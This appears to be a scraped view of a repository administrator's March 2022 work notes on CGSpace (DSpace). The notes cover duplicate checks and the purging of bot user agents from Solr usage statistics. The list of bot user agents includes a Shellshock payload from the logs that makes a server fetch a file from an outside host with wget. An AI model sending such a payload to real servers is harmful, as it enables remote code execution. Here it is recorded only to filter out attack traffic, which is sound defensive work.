2022-03-01 15:48:40 +01:00
|
|
|
---
|
|
|
|
title: "March, 2022"
|
|
|
|
date: 2022-03-01T16:46:54+03:00
|
|
|
|
author: "Alan Orth"
|
|
|
|
categories: ["Notes"]
|
|
|
|
---
|
|
|
|
|
|
|
|
## 2022-03-01
|
|
|
|
|
|
|
|
- Send Gaia the last batch of potential duplicates for items 701 to 980:
|
|
|
|
|
|
|
|
```console
|
|
|
|
$ csvcut -c id,dc.title,dcterms.issued,dcterms.type ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4.csv
|
|
|
|
$ ./ilri/check-duplicates.py -i /tmp/tac4.csv -db dspace -u dspace -p 'fuuu' -o /tmp/2022-03-01-tac-batch4-701-980.csv
|
|
|
|
$ csvcut -c id,filename ~/Downloads/2022-03-01-CGSpace-TAC-ICW-batch4-701-980.csv > /tmp/tac4-filenames.csv
|
|
|
|
$ csvjoin -c id /tmp/2022-03-01-tac-batch4-701-980.csv /tmp/tac4-filenames.csv > /tmp/2022-03-01-tac-batch4-701-980-filenames.csv
|
|
|
|
```
|
|
|
|
|
|
|
|
<!--more-->
|
|
|
|
|
2022-03-04 13:30:06 +01:00
|
|
|
## 2022-03-04
|
|
|
|
|
|
|
|
- Looking over the CGSpace Solr statistics from 2022-02
|
|
|
|
- I see a few new bots, though once I expanded my search for user agents with "www" in the name I found so many more!
|
|
|
|
- Here are some of the more prevalent or weird ones:
|
|
|
|
- axios/0.21.1
|
|
|
|
- Mozilla/5.0 (compatible; Faveeo/1.0; +http://www.faveeo.com)
|
|
|
|
- Nutraspace/Nutch-1.2 (www.nutraspace.com)
|
|
|
|
- Mozilla/5.0 Moreover/5.1 (+http://www.moreover.com; webmaster@moreover.com)
|
|
|
|
- Mozilla/5.0 (compatible; Exploratodo/1.0; +http://www.exploratodo.com
|
|
|
|
- Mozilla/5.0 (compatible; GroupHigh/1.0; +http://www.grouphigh.com/)
|
|
|
|
- Crowsnest/0.5 (+http://www.crowsnest.tv/)
|
|
|
|
- Mozilla/5.0/Firefox/42.0 - nbertaupete95(at)gmail.com
|
|
|
|
- metha/0.2.27
|
|
|
|
- ZaloPC-win32-24v454
|
|
|
|
- Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:x.x.x) Gecko/20041107 Firefox/x.x
|
|
|
|
- ZoteroTranslationServer/WMF (mailto:noc@wikimedia.org)
|
|
|
|
- FullStoryBot/1.0 (+https://www.fullstory.com)
|
|
|
|
- Link Validity Check From: http://www.usgs.gov
|
|
|
|
- OSPScraper (+https://www.opensyllabusproject.org)
|
|
|
|
- () { :;}; /bin/bash -c \"wget -O /tmp/bbb www.redel.net.br/1.php?id=3137382e37392e3138372e313832\"
|
|
|
|
- I submitted [a pull request to COUNTER-Robots](https://github.com/atmire/COUNTER-Robots/pull/52) with some of these
|
|
|
|
- I purged a bunch of hits from the stats using the `check-spider-hits.sh` script:
|
|
|
|
|
|
|
|
```console
|
|
|
|
]$ ./ilri/check-spider-hits.sh -f dspace/config/spiders/agents/ilri -p
|
|
|
|
Purging 6 hits from scalaj-http in statistics
|
|
|
|
Purging 5 hits from lua-resty-http in statistics
|
|
|
|
Purging 9 hits from AHC in statistics
|
|
|
|
Purging 7 hits from acebookexternalhit in statistics
|
|
|
|
Purging 1011 hits from axios\/[0-9] in statistics
|
|
|
|
Purging 2216 hits from Faveeo\/[0-9] in statistics
|
|
|
|
Purging 1164 hits from Moreover\/[0-9] in statistics
|
|
|
|
Purging 740 hits from Exploratodo\/[0-9] in statistics
|
|
|
|
Purging 585 hits from GroupHigh\/[0-9] in statistics
|
|
|
|
Purging 438 hits from Crowsnest\/[0-9] in statistics
|
|
|
|
Purging 1326 hits from nbertaupete95 in statistics
|
|
|
|
Purging 182 hits from metha\/[0-9] in statistics
|
|
|
|
Purging 68 hits from ZaloPC-win32-24v454 in statistics
|
|
|
|
Purging 1644 hits from Firefox\/x\.x in statistics
|
|
|
|
Purging 678 hits from ZoteroTranslationServer in statistics
|
|
|
|
Purging 27 hits from FullStoryBot in statistics
|
|
|
|
Purging 26 hits from Link Validity Check in statistics
|
|
|
|
Purging 26 hits from OSPScraper in statistics
|
|
|
|
Purging 1 hits from 3137382e37392e3138372e313832 in statistics
|
|
|
|
Purging 2755 hits from Nutch-[0-9] in statistics
|
|
|
|
|
|
|
|
Total number of bot hits purged: 12914
|
|
|
|
```
|
|
|
|
|
|
|
|
- I added a few from that list to the local overrides in our DSpace while I wait for feedback from the COUNTER-Robots project
|
|
|
|
|
2022-03-05 21:14:13 +01:00
|
|
|
## 2022-03-05
|
|
|
|
|
|
|
|
- Start AReS harvest
|
|
|
|
|
2022-03-01 15:48:40 +01:00
|
|
|
<!-- vim: set sw=2 ts=2: -->
|